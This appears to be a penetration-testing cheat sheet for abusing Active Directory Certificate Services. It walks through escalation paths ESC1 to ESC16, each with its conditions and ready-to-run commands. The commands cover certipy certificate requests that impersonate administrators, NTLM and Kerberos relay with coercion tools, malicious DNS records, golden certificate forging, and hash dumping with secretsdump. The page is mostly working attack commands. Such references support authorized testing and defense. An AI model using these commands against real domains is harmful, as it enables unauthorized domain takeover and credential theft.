Skip to main content

Enumeration

Start with Certipy’s vulnerable scan to quickly identify exploitable templates: it checks all known ESC conditions in one pass.
# Find vulnerable templates
certipy find -u $USER@$DOMAIN -p $PASSWORD -dc-ip $DC_IP -vulnerable -stdout

# Full enumeration to JSON (also outputs CA hostnames needed for $CA_HOST)
certipy find -u $USER@$DOMAIN -p $PASSWORD -dc-ip $DC_IP

ESC1: Enrollee Supplies Subject

Conditions:
  • Low-priv user can enrol
  • No Manager Approval
  • No Authorised Signatures
  • Client Authentication EKU enabled
  • Template allows user to specify SAN (subjectAltName)
The SAN field isn’t validated, so you can request a cert claiming to be any domain user including Administrator.
# Request cert as any user
certipy req -u $USER@$DOMAIN -p $PASSWORD \
  -dc-ip $DC_IP \
  -target $CA_HOST \
  -ca $CA \
  -template $TEMPLATE \
  -upn administrator@$DOMAIN

# Authenticate with cert → get NT hash
certipy auth -pfx administrator.pfx -dc-ip $DC_IP

ESC2: Any Purpose EKU

Conditions:
  • Low-priv user can enrol
  • No Manager Approval
  • No Authorised Signatures
  • Template has Any Purpose EKU or no EKU at all
With Any Purpose EKU the cert can be used for client auth, making it usable to request further certificates on behalf of other users.
# Request cert
certipy req -u $USER@$DOMAIN -p $PASSWORD \
  -dc-ip $DC_IP \
  -target $CA_HOST \
  -ca $CA \
  -template $TEMPLATE

# Use cert to request another cert on behalf of another user
certipy req -u $USER@$DOMAIN -p $PASSWORD \
  -dc-ip $DC_IP \
  -target $CA_HOST \
  -ca $CA \
  -template User \
  -on-behalf-of $DOMAIN\\administrator \
  -pfx $USER.pfx

ESC3: Enrolment Agent

Conditions:
  • Template has Certificate Request Agent EKU
  • Another template allows enrolment agent to enrol on behalf of others
Two-step: get an enrolment agent cert first, then use it to request a cert impersonating an admin on a second template.
# Step 1: Get enrolment agent cert
certipy req -u $USER@$DOMAIN -p $PASSWORD \
  -dc-ip $DC_IP \
  -target $CA_HOST \
  -ca $CA \
  -template $TEMPLATE

# Step 2: Request cert on behalf of admin using agent cert
certipy req -u $USER@$DOMAIN -p $PASSWORD \
  -dc-ip $DC_IP \
  -target $CA_HOST \
  -ca $CA \
  -template $TEMPLATE \
  -on-behalf-of $DOMAIN\\administrator \
  -pfx agent.pfx

# Authenticate
certipy auth -pfx administrator.pfx -dc-ip $DC_IP

ESC4: Writable Template

Conditions:
  • You have write rights on a certificate template: Owner, Write Owner, Write DACL, or Write Property
Overwrite the template’s attributes to introduce ESC1 conditions, exploit it, then restore the original config.
# Overwrite template to be ESC1-vulnerable
certipy template -u $USER@$DOMAIN -p $PASSWORD \
  -template $TEMPLATE -save-old

# Then exploit as ESC1
certipy req -u $USER@$DOMAIN -p $PASSWORD \
  -dc-ip $DC_IP \
  -target $CA_HOST \
  -ca $CA \
  -template $TEMPLATE \
  -upn administrator@$DOMAIN

# Restore original template after
certipy template -u $USER@$DOMAIN -p $PASSWORD \
  -template $TEMPLATE -configuration <old-config>

ESC5: Vulnerable PKI Object Access Control

Conditions:
  • Write permissions on PKI AD objects under CN=Public Key Services,CN=Services,CN=Configuration,...
  • Objects in scope: NTAuthCertificates, Enrollment Services objects, CA objects, certificate templates container, AIA/CDP containers
ESC5 is a catch-all for dangerous ACLs on PKI infrastructure rather than on individual templates. Exploitation depends on which object you have write on: write on the CA Enrollment Services object chains to ESC7 (grant yourself ManageCA/ManageCertificates), write on NTAuthCertificates lets you add a rogue CA cert and forge trusted certificates, write on the templates container lets you create new ESC1-vulnerable templates.
# Certipy detects ESC5 during its vulnerable scan
certipy find -u $USER@$DOMAIN -p $PASSWORD -dc-ip $DC_IP -vulnerable -stdout
# Look for "Object Control Permissions" on CA/PKI objects

# If you have write on the CA Enrollment Services object: add yourself as officer
certipy ca -u $USER@$DOMAIN -p $PASSWORD \
  -dc-ip $DC_IP -target $CA_HOST -ca $CA \
  -add-officer $USER
# Then chain to ESC6 (enable EDITF) or ESC7 (issue/approve requests)

ESC6: EDITF_ATTRIBUTESUBJECTALTNAME2

Conditions:
  • CA has EDITF_ATTRIBUTESUBJECTALTNAME2 flag set
  • Any template with Client Authentication EKU is exploitable
This flag on the CA makes every Client Authentication template behave like ESC1: request any template with client auth EKU and supply an arbitrary SAN. On DCs with KB5014754 applied, the UPN in the SAN is ignored unless the certificate also lacks the SID security extension. On patched environments combine with ESC9 (template disables extension) or ESC16 (CA disables extension).
# Works like ESC1 on unpatched DCs, or when combined with ESC9/ESC16
certipy req -u $USER@$DOMAIN -p $PASSWORD \
  -dc-ip $DC_IP \
  -target $CA_HOST \
  -ca $CA \
  -template User \
  -upn administrator@$DOMAIN

ESC7: Vulnerable CA ACL

Conditions:
  • You have ManageCA or ManageCertificates rights on the CA
ManageCA lets you enable the EDITF flag (turning it into ESC6), while ManageCertificates lets you approve pending failed requests.
# With ManageCA: enable EDITF_ATTRIBUTESUBJECTALTNAME2
certipy ca -u $USER@$DOMAIN -p $PASSWORD \
  -dc-ip $DC_IP \
  -target $CA_HOST \
  -ca $CA \
  -enable-editf

# Then exploit as ESC6

# With ManageCertificates: approve failed requests
certipy ca -u $USER@$DOMAIN -p $PASSWORD \
  -dc-ip $DC_IP \
  -target $CA_HOST \
  -ca $CA \
  -issue-request <request-id>

ESC8: Relay to AD CS HTTP

AD CS HTTP enrolment (/certsrv/certfnsh.asp) can be abused via both NTLM and Kerberos relay. The coercion and cert auth steps are the same for both; what differs is the relay tool and the prerequisite.

NTLM Relay

Conditions:
  • AD CS HTTP enrolment endpoint enabled
  • SMB signing disabled on the coerced host
# Start relay
ntlmrelayx.py -t http://$CA_HOST/certsrv/certfnsh.asp \
  -smb2support --adcs --template DomainController

# Coerce DC authentication
printerbug.py $DOMAIN/$USER:$PASSWORD@$DC_HOST $LHOST
PetitPotam.py $LHOST $DC_HOST

# Authenticate with obtained cert
certipy auth -pfx dc.pfx -dc-ip $DC_IP

Kerberos Relay (krbrelayx)

Conditions:
  • AD CS HTTP enrolment endpoint enabled
  • EPA (Extended Protection for Authentication) not enforced on certsrv (default on most installs)
  • SMB signing state does not matter
Kerberos relay works when SMB signing is enforced and NTLM relay is blocked. The trick is a crafted DNS hostname that embeds a minimal marshalled CREDENTIAL_TARGET_INFORMATION structure. When the DC tries to connect to that hostname, Windows internally calls CredMarshalTargetInfo which appends a Base64-encoded struct to the SPN, producing a hostname like DC-NETBIOS1UWhRCAA.... DNS resolves that to your listener, so the DC sends its AP-REQ to you instead.
1

Start krbrelayx

sudo krbrelayx.py \
  --target http://$CA_HOST/certsrv/certfnsh.asp \
  --adcs --template DomainController \
  --interface-ip $LHOST
2

Add a malicious DNS record

The hostname is the DC’s NetBIOS name with the fixed marshalled CREDENTIAL_TARGET_INFO suffix appended. bloodyAD registers it in AD DNS pointing at your listener.
bloodyAD -d $DOMAIN -u $USER -p $PASSWORD \
  --host $DC_HOST --dc-ip $DC_IP \
  add dnsRecord '${DC_NETBIOS}1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA' $LHOST
3

Coerce DC authentication

Trigger the DC to authenticate to the malicious hostname. Any coercion tool works. ERROR_BAD_NETPATH is the expected response and means the coercion fired successfully.
# DFSCoerce (via MS-DFSNM NetrDfsRemoveStdRoot)
KRB5CCNAME=/tmp/krb5cc_1000 python3 dfscoerce.py -k -no-pass \
  '${DC_NETBIOS}1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA' $DC_HOST

# Or: PetitPotam, PrinterBug, Coercer — same outcome
4

Authenticate with the obtained cert

krbrelayx catches the AP-REQ, relays it to certsrv, and writes the PFX to disk.
certipy auth -pfx unknown.pfx -dc-ip $DC_IP

# Clean up the DNS record after
bloodyAD -d $DOMAIN -u $USER -p $PASSWORD \
  --host $DC_HOST --dc-ip $DC_IP \
  remove dnsRecord '${DC_NETBIOS}1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA' $LHOST
From Windows, KrbRelay handles coercion internally via DCOM — no separate DNS or coercion step needed:
KrbRelay.exe -spn http/$CA_HOST -clsid 90f18417-f0f1-484e-9d3c-59dceee5dbd8 `
  -adcs -template DomainController

ESC9: No Security Extension

Conditions:
  • Template has CT_FLAG_NO_SECURITY_EXTENSION flag
  • You have GenericWrite on an account
Without the security extension the cert isn’t bound to a specific account SID, so temporarily changing a victim’s UPN to match the admin gets you a valid admin cert.
# Change UPN of account to admin
certipy account update -u $USER@$DOMAIN -p $PASSWORD \
  -user $TARGET -upn administrator

# Request cert as target
certipy req -u $TARGET@$DOMAIN -p $PASSWORD \
  -dc-ip $DC_IP \
  -target $CA_HOST \
  -ca $CA \
  -template $TEMPLATE

# Restore UPN
certipy account update -u $USER@$DOMAIN -p $PASSWORD \
  -user $TARGET -upn $TARGET@$DOMAIN

# Authenticate
certipy auth -pfx administrator.pfx -dc-ip $DC_IP -domain $DOMAIN

ESC10: Weak Certificate Mappings

Conditions:
  • Registry key StrongCertificateBindingEnforcement = 0 or 1 (not 2)
  • OR CertificateMappingMethods has UPN bit set
Similar to ESC9: weak mapping means the DC resolves cert to account by UPN rather than by SID, so a UPN swap is all you need.
# Change UPN then request cert
certipy account update -u $USER@$DOMAIN -p $PASSWORD \
  -user $TARGET -upn administrator@$DOMAIN

certipy req -u $TARGET@$DOMAIN -p $PASSWORD \
  -dc-ip $DC_IP \
  -target $CA_HOST \
  -ca $CA \
  -template User

certipy auth -pfx administrator.pfx -dc-ip $DC_IP -ldap-shell

ESC11: IF_ENFORCEENCRYPTICERTREQUEST

Conditions:
  • CA has IF_ENFORCEENCRYPTICERTREQUEST not set
  • Allows NTLM relay over RPC (not just HTTP)
Like ESC8 but over the RPC interface instead of HTTP: useful when certsrv isn’t exposed.
ntlmrelayx.py -t rpc://$CA_HOST -rpc-mode ICPR \
  -icpr-ca-name "$CA" --adcs --template DomainController

# Coerce auth then authenticate with cert
certipy auth -pfx dc.pfx -dc-ip $DC_IP

ESC12: CA Key Compromise (Golden Certificate)

Conditions:
  • Admin or SYSTEM access on the CA server
With the CA private key you can forge valid certificates for any principal in the domain. Forged certs bypass template restrictions and enrolment logs entirely.
# Back up the CA private key and certificate (requires admin on CA server)
certipy ca -u $USER@$DOMAIN -p $PASSWORD \
  -target $CA_HOST -ca $CA \
  -backup

# Forge a certificate for any user
certipy forge -ca-pfx $CA.pfx \
  -upn administrator@$DOMAIN \
  -sid S-1-5-21-...-500

# Authenticate with the forged cert
certipy auth -pfx administrator_forged.pfx -dc-ip $DC_IP
Conditions:
  • Principal has enrolment rights on the template
  • Template has an issuance policy in msPKI-Certificate-Policy
  • That issuance policy has msDS-OIDToGroupLink pointing to a privileged universal group
  • The linked group is empty and has universal scope
  • Template has a client authentication EKU
When the DC processes Kerberos authentication it sees the issuance policy OID in the cert and injects the linked group’s SID into the PAC. You gain effective group membership at authentication time without being listed as a member in AD.
# Request certificate from the vulnerable template
certipy req -u $USER@$DOMAIN -p $PASSWORD \
  -dc-ip $DC_IP -target $CA_HOST \
  -ca $CA -template $TEMPLATE

# Authenticate: the returned TGT carries the linked group's SID in the PAC
certipy auth -pfx $USER.pfx -dc-ip $DC_IP

ESC14: Explicit Certificate Mapping

Conditions (ESC14A):
  • Write access on a target account’s altSecurityIdentities attribute
altSecurityIdentities is the explicit certificate-to-account binding attribute. You map a certificate you control to a target account, then authenticate as that account using your cert. The serial number must be hex-reversed in the mapping format.
# Step 1: Create a machine account and request a machine cert
addcomputer.py -method ldaps -computer-name 'attacker$' \
  -computer-pass $COMP_PASS -dc-ip $DC_IP $DOMAIN/$USER:$PASSWORD

certipy req -u 'attacker$'@$DOMAIN -p $COMP_PASS \
  -dc-ip $DC_IP -target $CA_HOST \
  -ca $CA -template Machine

# Step 2: Extract issuer DN and serial number
certipy cert -pfx attacker.pfx -nokey -out attacker.crt
openssl x509 -in attacker.crt -noout -text

# Step 3: Write the mapping to the target (requires write on altSecurityIdentities)
bloodyAD -u $USER -p $PASSWORD -d $DOMAIN --host $DC_HOST \
  set object $TARGET altSecurityIdentities \
  -v "X509:<I>DC=local,DC=$DOMAIN,CN=$CA<SR>$SERIAL_HEX_REVERSED"

# Step 4: Authenticate as the target using the attacker cert
gettgtpkinit.py -cert-pfx attacker.pfx \
  -dc-ip $DC_IP $DOMAIN/$TARGET $TARGET.ccache
export KRB5CCNAME=$TARGET.ccache
secretsdump.py -k -no-pass $DOMAIN/$TARGET@$DC_HOST

ESC15: Arbitrary Application Policy Injection

Conditions:
  • Template has schema version 1
  • Principal has enrolment rights
  • No manager approval required
(CVE-2024-49019) Version 1 templates do not validate the Application Policy extension in the CSR. Since Application Policy takes precedence over EKU when both are present, injecting the Certificate Request Agent OID (1.3.6.1.4.1.311.20.2.1) into any enrollable v1 template turns it into an enrolment agent cert, enabling the ESC3 step-2 chain.
# Step 1: Request cert with Certificate Request Agent application policy injected
certipy req -u $USER@$DOMAIN -p $PASSWORD \
  -dc-ip $DC_IP -target $CA_HOST \
  -ca $CA -template $TEMPLATE \
  --application-policies "1.3.6.1.4.1.311.20.2.1"

# Step 2: Use the agent cert to request on behalf of admin (ESC3 step 2)
certipy req -u $USER@$DOMAIN -p $PASSWORD \
  -dc-ip $DC_IP -target $CA_HOST \
  -ca $CA -template User \
  -on-behalf-of $DOMAIN\\administrator \
  -pfx $USER.pfx

# Step 3: Authenticate
certipy auth -pfx administrator.pfx -dc-ip $DC_IP

ESC16: CA-Wide SID Extension Removal

Conditions:
  • CA has szOID_NTDS_CA_SECURITY_EXT (OID 1.3.6.1.4.1.311.25.2) in its DisableExtensionList
  • StrongCertificateBindingEnforcement is not 2 on DCs, or KB5014754 not applied
ESC16 is ESC9 at the CA level: every certificate issued by this CA lacks the SID security extension regardless of template configuration, making every enrollable template with client auth exploitable via UPN swap.
certipy find -u $USER@$DOMAIN -p $PASSWORD -dc-ip $DC_IP -vulnerable -stdout
# Flags "ESC16" on the CA entry

# Exploit: same path as ESC9
# Step 1: Change target's UPN to the account you want to impersonate
certipy account update -u $USER@$DOMAIN -p $PASSWORD \
  -user $TARGET -upn administrator@$DOMAIN

# Step 2: Request a cert as the target
certipy req -u $TARGET@$DOMAIN -p $TARGET_PASSWORD \
  -dc-ip $DC_IP -target $CA_HOST \
  -ca $CA -template $TEMPLATE

# Step 3: Restore the original UPN
certipy account update -u $USER@$DOMAIN -p $PASSWORD \
  -user $TARGET -upn $TARGET@$DOMAIN

# Step 4: Authenticate as administrator
certipy auth -pfx administrator.pfx -dc-ip $DC_IP -domain $DOMAIN

Post-Exploitation with Certificates

Once you have a PFX, use PKINIT to get the NT hash or a TGT: or fall back to Schannel LDAP shell if PKINIT is unavailable (e.g. no smart card logon EKU).
# Get NT hash from cert (PKINIT)
certipy auth -pfx $USER.pfx -dc-ip $DC_IP

# Get TGT from cert
certipy auth -pfx $USER.pfx -dc-ip $DC_IP -no-hash

# LDAP shell (useful when PKINIT not available: Schannel)
certipy auth -pfx $USER.pfx -dc-ip $DC_IP -ldap-shell